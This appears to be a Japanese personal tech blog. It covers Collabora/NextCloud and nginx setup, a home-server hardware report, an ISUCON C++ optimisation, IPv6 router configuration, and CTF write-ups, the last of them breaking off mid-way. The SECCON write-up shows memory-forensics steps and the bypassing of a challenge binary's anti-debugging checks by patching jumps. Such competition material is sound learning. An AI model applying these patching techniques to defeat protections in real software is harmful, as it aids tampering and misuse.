NextCloud + Collabora

NextCloud と Collabora Office を連携させると複数人で同時に(共有リンク経由でも) LibreOffice ファイルを編集できて便利そうなので入れて見みました。なんだか色々ややこしかったというかハマりどころが多かったのでメモです。

NextCloud 設定

NextCloud 自体は、よくある設定のまま。細部は違えど、 Nginx Configuration — Nextcloud 11 Server Administration Manual 11 alpha documentation に書かれたままでよく、はまりどころも少ない。

NextCloud と Collabora を連携させるにあたって、セキュリティ上の理由で別のサブドメインで運用することが推奨されていた気がするが、ソースが見当たらない(あと、なぜか今 https://nextcloud.com/collaboraonline/ につながらない)。

Colabolla Online Development Edition 設定

Collabora に関しては、基本は先ほどのページの内容で実施するが、いくつか修正が必要だった。

まず、以前 VPS でやってうまくいかなかった経験から、一度 LAN 内のサーバでオレオレ鍵で試していたが、これだと権限がない旨が出力された。https://help.nextcloud.com/t/libreoffice-nextcloud-access-forbidden-issue/6358/17 に書かれているように、 NextCloud から Collabora に繋ぎに行くときに SSL 証明書を検証するのに失敗したときもこのエラーが出るらしく、オレオレ証明書を使う場合は (NextCloud のディレクトリ)/resources/config/ca-bundle.crt に自分が使う証明書を追記する必要があった。

続いて、つなぐと Collabora の画面が真っ白で止まった。nginx 側の設定を NextCloud のものからコピーしたが、そこに

add_header X-Frame-Options "SAMEORIGIN";

が含まれていたので削除した。

続いて、

wsd-00024-00033 15:52:08.397614 [ websrv_poll ] ERR  #20 Exception while processing incoming request: [GET /lool/https%3A%2F%2F(略) H...]: Invalid or unknown request.| wsd/LOOLWSD.cpp:1665

みたいなエラーが出た。Collabora: Invalid or unknown request – support / collabora – Nextcloud community に書かれている通り、 nginx 側の、 Collabora で使うドメインで

chunked_transfer_encoding off;

を追記すると動いた。

最終的に、Collabora 側の nginx の設定は、

server {
        #listen 80 default_server;
        #listen [::]:80 default_server;
        listen 443 ssl;
        listen [::]:443 ssl;

        ssl_certificate /etc/nginx/ssl/**;
        ssl_certificate_key /etc/nginx/ssl/**;

        chunked_transfer_encoding off;

        server_name ***;
        add_header X-XSS-Protection "1; mode=block";
        add_header X-Robots-Tag none;
        add_header X-Download-Options noopen;
        add_header X-Permitted-Cross-Domain-Policies none;

        proxy_buffering off;

        location ^~ /loleaflet {
                proxy_pass https://localhost:9980;
                proxy_set_header Host $http_host;
        }

        location ^~ /hosting/discovery {
                proxy_pass https://localhost:9980;
                proxy_set_header Host $http_host;
        }

        location ^~ /lool {
                proxy_pass https://localhost:9980;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection "upgrade";
                proxy_set_header Host $http_host;
        }

}

という感じになった。(検証環境のものなので、 TLS 自体の設定はかなり手抜きになっている)

あとは以前試した時は繋ぐと Connecting で 1 分ぐらい待たされたりタイムアウトしたりする現象があったが、最新の CODE 2.1 を入れたところ解消したようだ。

HP MicroServer Gen8 導入

従来使用してきた hp ML115 Gen 5 もそろそろ寿命が近そうだったところで、 hp MicroServer Gen8 が安くで売られているのを見つけたので購入し、移行した。Amazon の HP ProLiant MicroServer Gen8 販売ページでは、在庫が安定しないようだが Celeron モデルが株式会社ゼット(zmart.jp)の販売で 38,458 円で入手できた。

在庫及び配送は Amazon が担当し、販売元は並行輸入品を廉価販売する株式会社ゼットが担当するようだった。機械はチェコ製(本体裏面では「MADE IN CZECH REPUBLIC」「捷克制造/捷克製造」)らしい。(欧州製にも関わらず一部記載は英語/中文簡体/中文繁体で、また一部記載は欧米の言語色々だった。謎。)

こちらの販売元で購入したものは、並行輸入品につき、電源コードが日本用ではなかった(付属品一覧を見る限り英国用と欧州用の二本?)ため、電源コードは別途自前で購入する必要があった。ディスプレイ付属のケーブルを流用できる端子だったので、とりあえず家にあった別の機器の流用で動作確認しつつ電気屋で買った。

メインメモリ

標準では 4GB のメモリが付属したが、2スロットで16GB(8GB×2)にまで増設できる。32GBは検索したところだと成功例がヒットせず、失敗例が多くあるようだ。ということで、HP Microserver Gen8を購入 | 三日坊主の軌跡を参考に、このページで動作実績のあるKTH-PL316E/8Gを二つ購入し、計16GBのメモリを認識させることができた。iLO と組み合わせた場合 HP 純正でないためアラートがくるとリンクした動作実績に書いてあったが、それはスルーした。

どこを分解すればメモリを交換できるかよくわからなかったので検索したところ、MicroServer Gen8 のメモリを交換している YouTube 動画がヒットした。

HDD

簡単と見せかけて、最初に購入した HGST の 6TB のディスクは騒音の問題に悩まされた。x64 な Ubuntu に搭載する HDD に相性問題なんかないだろうと思いながらも一応勧められるままにツクモの交換保証に加入していたが、この保証は「思ったよりうるさい、家に置くにはうるさすぎる」みたいな理由でも期間内なら別の機種への交換が可能(価格が上がる場合は差額、下がる場合はそのまま)で、しかも回数に制限がないため、思わぬ形で救われた。結局、 Western Digital Red 6TB (WD60EFRX 、Pro ではない方)に落ち着いた(まあこれでもシーク音はまあまあ鳴るが、僕の中では許容範囲)。

音の問題はそもそも感じ方や使い方に個人差がある上、静かな方のディスクでもうるさいと言っている人がいる一方でシーク音が大変うるさいディスクでもアイドル時に静かなためか静かと評価する人がいるのでレビューの見方が難しい。とはいえ傾向はあるので、最終的にはレビューを複数サイトでちゃんとみてればもう少しスムーズにいけたな、とは思った。

後で気付いたことだが、Linux mdadm で高速に RAID1 array を構築する – Qiita 等で記述されているように、特にオプションを指定しないまま mdadm で RAID 1 を構築するとどういうわけか「多分二つのディスクの内容は一致すると思う」みたいな状態から開始するらしく、同期が完了するまでは両ディスクから読み込んだうえで片方のディスクで書き込みなおすためにシークが大量発生するようだ。このせいで騒音が増大していたともいえるし、このお陰で本格的にデプロイする前から騒音に気付けたともいえる。

あと、交換後の HDD の片方が初期不良だったようで、なんだかインストーラが変な動きをするのでエラーログなどから片方のディスクがおかしいと判断、基本的に書き込みエラーだったので USB-SATA 経由で Western Digital の Data Lifeguard Diagnostic for Windows の全クラスタデータ削除に突っ込んでみたところ、数分で FAIL となった。仕方がないので秋葉原にあるツクモのサポートセンターに持ち込んで症状を伝えたらその場で交換していただけて、そちらを入れたら問題なかった。ちなみにツクモはサポートセンターと販売店が別ということを知らなかったので、ツクモの販売店に20:10ぐらいに持ち込んだら、20:00までにサポートセンターに持ち込めば対応していただける旨を教えていただけた。何をするにも下調べが大事。

HDD が初期不良であった場合のエラーログについては、 Ubuntu のインストーラのメニュー画面の中に「syslog を HTTP で公開する」みたなオプションがあることを初めて知った。LAN 内の他の端末でブラウザで見たりダウンロードしたりできて便利だった。

(今回やたらお世話になったので色々ツクモを称賛してるけど別にツクモの中の人とかじゃないよ)

インストール

Ubuntu インストールにあたってはハードウェア固有の罠はなかったはず。通常通りソフトウェア RAID を構築して OS をインストールすればよい。

Ethernet

まず、LAN端子は、二つとされていながらiLOなるネットワークベースの技術も搭載されていると書かれていた。公式ウェブページから想像つきにくいまま購入したが、結局は「通常のLAN端子2つ」「OSから見えず、iLOが使う端子一つ」の計3つが搭載されていた。(いずれも Broadcom チップらしい)

Ubuntu 16.04 では eno1/eno2 として見えたが、その順序について少し厄介だった。最初1と書かれた端子にのみケーブルをつないでいたところ、ケーブルが刺さっている方が eno1 となった。ところがその後で 2 と書かれた方にもケーブルを刺して再起動したところ、これまで eno1 と書かれていたものが eno2 になり、新しく刺したほうが eno1 として認識された。謎。

謎のランプ

先ほどの写真にも写っているしそもそも公式の画像でもだいたい写っている通り、このサーバの下部には謎の青いランプがある。飾りかと思っていたら、添付文書では正常稼働の確認の文脈でこのランプが青く光っていることの確認が電源ランプの確認と別に書かれていた。「Health LED bar」とか名前がついており、電源ボタンについているランプとは別物らしい。

その他

  • hp ML115 Gen5 と比べても通常時のファンの音が大変静か(ただし、比較対象の hp ML115 Gen5 はリアケースファンが 2000-5200 rpm で、僕は気にしなかったがアイドル時でもうるさいという人は多いはず)
  • 起動してから OS に制御が渡されるまではファンの回転数が制御されず普通にそこそこファン音がするのは hp ML115 Gen5 と同様(とはいえ、さすがに同じ状態の hp ML115 Gen5 よりは静か)
  • BIOS が色々検査している画面が妙にグラフィカル
  • カタログの時点でわかるが念のため追記:HDDはホットプラグ非対応。HDDを交換しようとすればまあ気付くであろう位置に注意書きがある。
  • カタログの時点でわかるが念のため追記:光学ドライブは別売りオプション。先ほどの写真の通り、なくとも見栄えが悪いというほどではない。
  • 今回は Ubuntu で使用したため実体験と全く関係のない話だが、 hp が公式にカスタムした ESXi イメージを配布している(添付文書にリンクあり)ため、どうやら ESXi からオンボード RAID が使えるらしい。ただし、HP ProLiant MicroServer Gen8を買って地雷を順番に踏んでった話 – なおたこブログにはパフォーマンスに難がある旨が記されている。
  • 日本用電源コードすら付属しない並行輸入品でも、 BIOS 画面は English/日本語 の二択だった。謎。
  • iLO は便利そうなのに試しすらしないで稼働開始してしまった。すみません。

SECCON 2016 Online CTF Writeup

SECCON 2016 Online CTF にチーム「yharima」で参加していました。なかなか難しい問題が多く、まだまだ勉強せねば、という感じがしました。145位、500点でした。

VoIP

pcap ファイルが渡されるので Wireshark で開き、 VoIP 機能で開くと音が再生できてフラグをしゃべっていた。少し聞き取りづらかったが、がんばって聞き取って提出。

Memory Analysis

メモリダンプがおかれており、 volatility というツールがヒントに書かれている。

偽の svchost がアクセスしているウェブサイトを調べてほしい、そのサイトに行けばフラグが手に入る、というもの。また、ヒントには「hosts」とも書いてあった。

volatility の使い方を軽く確認したあと、ウェブサイトを見ていると書いてあるのでまずは通信内容を確認した。

$ volatility_2.5_linux_x86 -f ./forensic_100.dat --profile=WinXPSP2x86 connections
Volatility Foundation Volatility Framework 2.5
Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034       153.127.200.178:80        1080

IP アドレスはわかったが、繋ぎに行っても nginx の初期インストール画面のようなものが表示されたので、「hosts」というヒントを元に C:\Windows\System32\drivers\etc\hosts を探すことに。filescan や dumpfiles を試みたがなかなか手に入らないので、最終的にはstrings して「153.127.200.178」で grep した。

$ strings forensic_100.dat | grep 153.127.200.178
153.127.200.178    crattack.tistory.com attack.tistory.com 
153.127.200.178    crattack.tistory.com 
153.127.200.178:80

ホスト名は候補が二つに絞られたが、 /etc/hosts を手元に書いてこのホスト名・IPアドレスの組み合わせにつないでもまだフラグはない。いろいろ見ているうちに、 HTTP をしゃべっている内容のようなものが見えていたので、このやり取りもまだメモリに残っているのでは、ということで “GET /” を探した。

$ strings forensic_100.dat | grep 'GET /' 
GET /image/237C0C3E576BA0AD06F720 HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1

ようやく URL がわかったので、 アクセスするとフラグ。

$ curl http://attack.tistory.com/entry/Data-Science-import-pandas-as-pd
SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Anti-Debugging

バイナリファイルが渡され、調べてみると Windows の exe ファイルだったので Windows 上で起動。起動するとパスワードを聞かれ、パスワードが違うと言われた。

Windows のバイナリデバッグはしたことがなかったので、全体的に yuta1024 に手伝ってもらって(というよりほぼ教えてもらって)実施。まずは OllyDbg をインストールした。

OllyDbg には上の画像のような文字列検索機能があり、それぞれ参照元の命令がある場所も検出できた。パスワードが違う的なエラーの周辺で、色々している判定っぽい処理があったので、そこで一旦止めると “I have a pen.” という文字列がメモリ上にあった。これがパスワードではないかと推測して入力すると表示が変わり、今度はデバッグ環境であることが検出された。デバッグではない環境で実行するとパスワードが正しいと言われたが何も表示されなかった。

エラーメッセージには OllyDbg や VMware などいろいろなものが書かれており、その少し前のコードを見るとだいたい直前に「CMP DWORD PTR SS:[***],*」「JNZ SHORT bin.********」の二つを実施しており、おそらくは正規の実行では通らないようになっていたので、 OllyDbg の機能で JNZ を JMP に(命令の一バイト目を 0x75 から 0xEB に)書き換えた。

すると、今度はゼロ除算で落ちるようになった。その部分の IDIV 命令(上の画像の 0x4015DE)だけ NOP で塗りつぶすと、何もしないで正常終了するようになった。文字列一覧では暗号化されたフラグと思わしき意味ありげな文字列があったので、その参照元を見るとその IDIV と同じ関数の少し下にあった。

そのため、落ちる IDIV から、フラグと思わしき文字列の参照元の直前までを NOP で塗りつぶして実行すると、フラグが出力された。

(追記)同じチームのメンバーの writeup です。

SECCON 2016 Online writeup – yuta1024’s diary

ISUCON 6 予選参加

チーム「にゃーん」で ISUCON 6 予選参加して惨敗してきました。厳しい。というわけで記録です。といっても、結局自分が担当した部分以外はあまり把握していないので、それは各自がブログか何かを書くのを待ちます。

まず、インスタンスを起動して、あまり分ける必要がない二つのアプリケーションが動いていることを確認したので、れにが二つをマージしていました。その間に DB のインデックスで露骨にまずいものがないか見ていましたが、一応張ったもののそれほど大幅ということはありませんでした。

htmlify なる関数があり、これが今回のメインのようでした。記事(初期状態で約七千)のタイトルを本文中から自動抽出してリンクに変換するものですが、全ての記事のタイトルを抽出したうえで正規表現や SHA1 を活用した実装になっていて遅いこと遅いこと。

なお、今回は Ruby だったこともあり初期実装は0点でした。

そのあと、他のチームメンバーは Web 周りのチューニングなどをしてそれなりに点数を伸ばしていたようですがあまり把握しておらず、僕は htmlify をなんとか早くしようとしていました。

他のメンバーと違い、僕は Ruby の知識があまりなかった状態でこれを見たので、 Ruby の置換が同様に書かれたほかの言語と比べても遅いことに絶望して、なんとか早くするアルゴリズムを模索しました。とりあえずなんにしてもその部分を Ruby で書くのは諦めて、 C++ で書いて外部コマンドで呼び出すことにしました。(引数で辞書と入力を渡し、出力は標準出力)

二分探索をしようとしたりさまよっていましたが、最終的にはハッシュマップで実装しました。与えられた文字列に対して短いほうから辞書にある最大の長さまで試す、ただし途中で打ち切るための情報を埋め込む、というものです。ポインタでいろいろ扱える方が楽だったのでポインタをベースとし、何かとコピー回数の増える std::string はなるべく使わないように変更、 C++ の std::map は hashmap ではないことを思い出して std::unordered_map に変えましたが、パフォーマンス計測値、スコアともに改善はしたものの依然遅いままでした。

#include <vector>
#include <string>
#include <string.h>
#include <algorithm>
#include <stdio.h>
#include <unistd.h>
#include <map>
#include <iostream>
#include <unordered_map>

using namespace std;

void urlwrite(const char *str) {
	while(*str!='\0'){
		if ((*str>='a' && *str<='z') || (*str>='A' && *str<='Z') || (*str>='0' && *str<='9') || *str=='.' || *str=='-' || *str == '_' || *str == '~') {
			fwrite(str, 1, 1, stdout);
			++str;
			continue;
		}
		int t = *((unsigned char*)str);
		int b1 = t/16;
		int b2 = t%16;

		char tmp[3];
		tmp[0]='%';
		tmp[1]=(b1<10)?(b1+'0'):(b1+'A'-10);
		tmp[2]=(b2<10)?(b2+'0'):(b2+'A'-10);

		fwrite(tmp,1,3,stdout);
		++str;
	}
}

void htmlwrite(const char *str) {
	while(*str!='\0'){
		switch (*str) {
			case '&':
				fwrite("&amp;", 1, 5,stdout);
				break;
			case '<':
				fwrite("&lt;", 1, 4, stdout);
				break;
			case '>':
				fwrite("&gt;", 1, 4, stdout);
				break;
			case '\'':
				fwrite("&#039;", 1, 6, stdout);
				break;
			case '\"':
				fwrite("&quot;", 1, 6, stdout);
				break;
			case '\n':
				fwrite("<br />\n",1,7,stdout);
				break;
			case '\r':
				fwrite("<br />\r",1,7,stdout);
				break;
			default:
				fwrite(str,1,1,stdout);
		}
		++str;
	}
}


int main (int argc, char *argv[]) {
	unordered_map <string, int> dic;

	setvbuf(stdout, NULL, _IOFBF, 102400);

	size_t longest=0;
	for(int i=2;i<argc; ++i){
		string key=string(argv[i]);
		for(int j=1;j<4;++j){
			string tmp=key.substr(0,j);
			if(!dic.count(tmp)){
				dic[key.substr(0,j)]=1;
			}
		}
		{
			int j=6;
			string tmp=key.substr(0,j);
			if(!dic.count(tmp)){
				dic[key.substr(0,j)]=1;
			}
		}
		dic[key]=2;
		longest=max(longest, key.length());
	}

	while (*argv[1]!='\0') {
		int skiplen=1;
		string title;
		int flag=0;

		for(int i=1;i<=longest;++i){
			char tmp=argv[1][i];
			argv[1][i]='\0';
			string key=string(argv[1]);
			argv[1][i]=tmp;
		
			if(dic.count(key)){
				if(dic[key]==2){
					title=key;
					flag=1;
				} 
			}else{
				if(i<4 || i==6){
					break;
				}
			}
		}

		if(flag){
			fwrite("<a href=\"/keyword/", 1,18,stdout);
			urlwrite(title.c_str());
			fwrite("\">", 1,2,stdout);
			htmlwrite(title.c_str());
			fwrite("</a>", 1,4,stdout);
			skiplen=title.length();
		}else{
			char tmp=argv[1][1];
			argv[1][1]='\0';
			htmlwrite(argv[1]);
			argv[1][1]=tmp;	
		}
		argv[1]+=skiplen;
	}
}

※ちなみに、<a href=”/keyword/~~”> の部分は、 Ruby の見本実装では <a href=”http://192.0.2.1/keyword/~~”> のように URL 変換済み、 PHP の見本実装では <a href=”/keyword/~~”> のように path 部分のみでした。後者で書きましたが、不思議でした。

その後、 Trie 木を実装しましたが、初期化コストが大きく辞書を作るのに 100ms 程度かかってしまいました。外部コマンドなので毎回初期化していたのと、特にバイナリでいい感じに複数のデータを受け渡す実装の時間もなく、トップページを表示するのに 10 回読みだしてしまい、却って遅かったのでこちらは導入に至りませんでした。Trie 木生成後の処理は一桁速くなったように思われる(雑な計測からの体感)ので、 Ruby のモジュールにするか、これ専用のサーバを立てて記事追加・削除・データ変換が毎回行えるようにすればかなり高速化できたものと思われますが、すでに終盤でそこまでする時間がありませんでした。

#include <vector>
#include <string>
#include <string.h>
#include <algorithm>
#include <stdio.h>
#include <unistd.h>
#include <map>
#include <iostream>
#include <unordered_map>

using namespace std;

void urlwrite(const char *str) {
        while(*str!='\0'){
                if ((*str>='a' && *str<='z') || (*str>='A' && *str<='Z') || (*str>='0' && *str<='9') || *str=='.' || *str=='-' || *str == '_' || *str == '~') {
                        fwrite(str, 1, 1, stdout);
                        ++str;
                        continue;
                }
                int t = *((unsigned char*)str);
                int b1 = t/16;
                int b2 = t%16;

                char tmp[3];
                tmp[0]='%';
                tmp[1]=(b1<10)?(b1+'0'):(b1+'A'-10);
                tmp[2]=(b2<10)?(b2+'0'):(b2+'A'-10);

                fwrite(tmp,1,3,stdout);
                ++str;
        }
}

void htmlwrite(const char *str) {
        while(*str!='\0'){
                switch (*str) {
                        case '&':
                                fwrite("&amp;", 1, 5,stdout);
                                break;
                        case '<':
                                fwrite("&lt;", 1, 4, stdout);
                                break;
                        case '>':
                                fwrite("&gt;", 1, 4, stdout);
                                break;
                        case '\'':
                                fwrite("&#039;", 1, 6, stdout);
                                break;
                        case '\"':
                                fwrite("&quot;", 1, 6, stdout);
                                break;
                        case '\n':
                                fwrite("<br />\n",1,7,stdout);
                                break;
                        case '\r':
                                fwrite("<br />\r",1,7,stdout);
                                break;
                        default:
                                fwrite(str,1,1,stdout);
                }
                ++str;
        }
}

class Trie {
        public:
                Trie* children[256];
                uint32_t ex[8];
                int exist=0;

                Trie(){
                        memset(ex,'\0',32);
                }

                void insert(unsigned char *str) {
                        if(*str=='\0') {
                                exist=1;
                                return;
                        }


                        if(!((ex[(*str)/32]>>((*str)%32))&1)){
                                children[*str]=new Trie();
                                ex[(*str)/32]|=1UL<<((*str)%32);
                        }
                        children[*str]->insert(str+1);
                }

                int find(unsigned char *str) {
                        int tmp=-2;
                        if (exist) {
                                tmp=-1;
                        }

                        if((ex[(*str)/32]>>((*str)%32))&1){
                                tmp=max(tmp, children[*str]->find(str+1));
                        }

                        if(tmp==-2)
                                return -2;
                        else
                                return tmp+1;

                }

};

int main (int argc, char *argv[]) {
        unordered_map <string, size_t> dic;
        Trie trie;

        setvbuf(stdout, NULL, _IOFBF, 102400);

        for(int i=2;i<argc; ++i){
                trie.insert((unsigned char*)argv[i]);
        }


        cout<<"<br>clock="<<clock()<<"<br>";

        while (*argv[1]!='\0') {
                int ret = trie.find((unsigned char*)argv[1]);
                int skiplen=1;

                if(ret>0){
                        char tmp=argv[1][ret];
                        argv[1][ret]='\0';
                        fwrite("<a href=\"/keyword/", 1,18,stdout);
                        urlwrite(argv[1]);
                        fwrite("\">", 1,2,stdout);
                        htmlwrite(argv[1]);
                        fwrite("</a>", 1,4,stdout);
                        skiplen=strlen(argv[1]);
                        argv[1][ret]=tmp;
                }else{
                        char tmp=argv[1][1];
                        argv[1][1]='\0';
                        htmlwrite(argv[1]);
                        argv[1][1]=tmp;
                }
                argv[1]+=skiplen;

        }
        cout<<"<br>clock="<<clock()<<"<br>";
}

この辺をバックグラウンドで走らせる準備などが必要なのだと学ぶことができました。

Linux マシンを IPv6 ルータにする(Ubuntu 16.04)

Interlink で IPv6 オプションがリリースされ、「ほぼ固定だけど長期間使用しないと変更される可能性がある」 IPv6 prefix が PPPoE で降ってくるようになりました。(「IPv6接続サービス」提供開始のご案内

ということで、Ubuntu 16.04 の VM 経由で PPPoE に繋いでルーターにしてみました。

Raspberry PiでIPv6 PPPoE対応ルータを作る – ももいろテクノロジーフレッツ光ネクスト用IPv6 PPPoEアダプターを作ってみる — SOUM/misc を参考に実施したので、こちらを参照するとよいと思いますが、自分用のメモを兼ねて残します。

なお、色々試してうまく行ったあと記憶を基に再現しているので、追加の手順が必要だったなどあればコメントでお願いします。

VM 構成

  • ens160: フレッツ網に繋がる NIC (ONU 直結、またはそれと等価な状態)
  • ens192: 今回の設定に関係させてはいけない NIC (実験のため設置)
  • ens224: 部屋のネットワークに繋がる NIC。ここに繋いだ端末を IPv6 インターネットに繋ぐのがこの記事の目標

パケットが適切に届けば VM でも特に変わらない。

(余談ですが ens160 みたいなのは、 eth0 みたいなのと同じく NIC のデバイス名。Predictable Network Interface Device Name を Ubuntu 16.04 などのシステムが導入しているのでこういう名前になっている模様。)

フレッツ網からの RA ブロック

NTT東西のフレッツ網は日本国内で IPv6 イントラネットを構成しており、 PPPoE しようとしてフレッツ網に接続すると IPv6 の RA (イントラネットにも関わらずグローバルアドレス)が降ってきてしまう。

状況次第ではあるが、 ISP から直接フレッツ網に IPoE と呼ばれるものを引き込んでくれる契約をしていなければ、この IPv6 網に繋がってしまう.
もし他のプロバイダが IPoE 設定になっていると今度は複数のインターネットに繋がるプレフィックスに同一マシンがつながってしまうことになる。いずれも(理解してそうなっているのでなければ)よろしくない。(IPv6 – Wikipediaに詳しく書かれている)

今回はプロバイダに対して DHCPv6 接続するので、全ての RA の受信を遮断する設定にした。/etc/sysctl.conf に追記。ens160 が、フレッツ網(PPPoEや、フレッツのイントラネットに接続)に繋がる NIC だとする。

$ cat /etc/sysctl.conf | tail -n 4 | head -n 2
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.ens160.accept_ra = 0

$ sudo sysctl -p /etc/sysctl.conf

IPv6 over PPPoE (pppoeconf)

apt で pppoeconf をインストールして pppoeconf コマンドで設定。ダイアログが出てくるのに答えれば PPPoE セッション自体は張ってくれるが、 IPv4 と違って少し追加設定が必要。/etc/ppp/peers/dls-provider を修正。

$ cat /etc/ppp/peers/dsl-provider
# Minimalistic default options file for DSL/PPPoE connections

noipdefault
defaultroute
replacedefaultroute
hide-password
#lcp-echo-interval 30
#lcp-echo-failure 4
noauth
persist
#mtu 1492
#persist
#maxfail 0
#holdoff 20
plugin rp-pppoe.so
nic-ens160
user "***@***"
usepeerdns
+ipv6
ipparam ipv6default

修正したら、

$ sudo poff dsl-provider
$ sudo pon dsl-provider

で再接続して反映。ifconfig ppp0 でリンクローカルアドレスがインターフェイスに付与されていることを確認。

デフォルトルートの設定

PPPoE を起動した際、ルーティングテーブルに追加されるようにする。なお、 /etc/ppp/ipv6-up.d/ 以下のファイルを新規追加する場合は実行権限が必要。

$ cat /etc/ppp/ipv6-up.d/v6route
#!/bin/sh
if [ -z "${CONNECT_TIME}" ]; then
    if [ "${PPP_IPPARAM}" = "ipv6default" ]; then
        ip -6 route add default dev ${PPP_IFACE}
    fi
fi

$ ip -6 route
(snip.)
default dev ppp0  metric 1024  pref medium

DHCPv6 クライアント (wide-dhcpv6)

このままではまだインターリンクとの間に貼られた PPPoE セッションでのみ使えるリンクローカルアドレスしか手に入っていないので、 DHCPv6-PD クライアントを実行し、グローバル IPv6 アドレスの /64 prefix の移譲を受ける。

apt で wide-dhcpv6-client をインストールした。

/etc/wide-dhcpv6/dhcp6c.conf を設定

profile default
{
  information-only;

  request domain-name-servers;
  request domain-name;

  script "/etc/wide-dhcpv6/dhcp6c-script";
};

interface ppp0 {
  send ia-pd 0;
  request domain-name-servers;
  script "/etc/wide-dhcpv6/dhcp6c-script";
};

id-assoc pd 0 {
  prefix-interface ens224 {
    sla-id 1;
    sla-len 8;
  };
};

なお、 ens224 は PPPoE で使っている NIC ですらなく、 LAN 側で使っているインターフェイス。不思議だが、 ppp0 に指定してもうまくいかない上、逆にちゃんと MAC アドレスを持つ NIC なら IPv6 接続に関係のないインターフェイスを指定してもアドレス自体は取得できた。DHCPv6 を含む IPv6 のアドレス取得メカニズム自体にも MACアドレスを利用するものはあるので関係があっても不思議ではないが、検証するのが大変そうなので今のところ深追いはしていない。

ただ、どうもこの後の設定に影響はするらしく、最終的には室内 LAN に繋がる NIC を指定することとなった。

ファイヤーウォール (ip6tables)

RedHat 系だと標準で保存した iptables を起動時に読み込む機能が備わっているが、Debian 系はそういうわけでもない。と思っていたら、 netfilter-persistent なるパッケージがあり、これをインストールすると似たことができる模様。

apt で netfilter-persistent をインストールする。iptables や ip6tables をいじったら、 sudo service netfilter-persistent save などとして保存できる。/etc/iptables/rules.v[46] に保存するようなので、これを直接編集することもできなくはないと思われる。

というわけで、あとは ip6tables を設定する。LAN 内がプライベートアドレスのため変換が必要となり iptables でマスカレードを指示していた IPv4時代と異なり、基本的に全てのマシンがグローバルアドレスを持ち、普通に end to end で通信するのを中継するだけなので、 iptables はなくとも通信は可能ではある(中継設定自体は後述)。が、安全のため、とりあえず従来と同様外から中に通信を開始するのをブロックしてみた。

ip6tables 自体は以下の感じ。ens224 が IPv6 を提供する部屋LAN、 ens192 が今回の設定に関与させない(IPv6 に繋がない)NIC。

# Initialize
ip6tables -X
ip6tables -F

# Default Rule
ip6tables -P OUTPUT ACCEPT
ip6tables -P FORWARD DROP
ip6tables -P INPUT DROP

# Established
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# LAN
ip6tables -A INPUT -i ens224 -j ACCEPT
ip6tables -A INPUT -i ens192 -j DROP

# loopback
ip6tables -A INPUT -i lo -j ACCEPT
ip6tables -A OUTPUT -o lo -j ACCEPT

# ICMPv6
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-reply -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT

# FORWARD
ip6tables -A FORWARD -i ens192 -j DROP
ip6tables -A FORWARD -o ens192 -j DROP
ip6tables -A FORWARD -i ens224 -j ACCEPT
ip6tables -A FORWARD -i ppp0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# OUTPUT
ip6tables -A OUTPUT -o ens192 -j DROP

転送設定

ルータなのでここが基幹部分と言える(といっても Linux の機能を呼び出すだけ)。ファイヤーウォールの設定が済んだら設定する。/etc/sysctl.conf に追記。

$ cat /etc/sysctl.conf | tail -n 1
net.ipv6.conf.all.forwarding = 1

$ sudo sysctl -p /etc/sysctl.conf

Router Advertisement (radvd)

RA を用いて接続するマシンの自動設定を行うため radvd を入れた。ただ、現状を踏まえると DHCPv6 を導入した方がいいかもしれない(次のクライアント側の設定の問題)。

cat /etc/radvd.conf

interface ens224 {
  AdvSendAdvert on;
  MinRtrAdvInterval 3;
  MaxRtrAdvInterval 10;
  prefix ::/64 {
    AdvOnLink on;
    AdvAutonomous on;
    AdvRouterAddr on;
  };

  RDNSS 2001:db8::1 2001:db8::2
  {
  };
};

RDNSS の部分の二つの IPv6 アドレスは実際にはプロバイダが公知している DNS キャッシュサーバの IPv6 アドレスを直書きした。書いたら radvd を再起動。

sudo radvdump ens224 などとすると、配布内容を確認できた。

クライアント側

ここでは IPv6 のみに繋がるクライアントを一台構成した。IPv4 を設定する場合は基本的に独立して設定してよいはず。

RFC5006RFC6106などで RDNSS プロトコルが定められており、DHCPv6 を用いなくとも RA で DNS キャッシュサーバのアドレスを通知することができ、radvd も対応している。しかし、少なくとも Ubuntu 16.04 標準の機能でこれを有効にする方法は見つからなかった。そのため、この説明では DNS キャッシュサーバのアドレスをクライアント側で直書きしている。微妙。今後調査したい。

それ以外は自動設定で問題なかった。

/etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
# This is an autoconfigured IPv6 interface
auto ens160
iface ens160 inet6 auto
    dns-nameservers 2001:db8::1 2001:db8::2

しかし、現状では DHCPv6 のほうがよさそうな気もするので、今後試してみたい。

Tokyo Westerns/MMA CTF 2nd 2016 writeup

Tokyo Westerns/MMA CTF 2nd 2016に yharima チームで参加していたので自分が解いた分の writeup です。510点、105位でした。

Super Express

以下のようなソースコードと、それで暗号化されたデータが渡された。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

鍵が長いが、よく見ると一文字ごとに暗号化している。251は素数なので、結局平文mに対して、色々な a,b (鍵の一文字一文字)で
  c = am + b \mod p
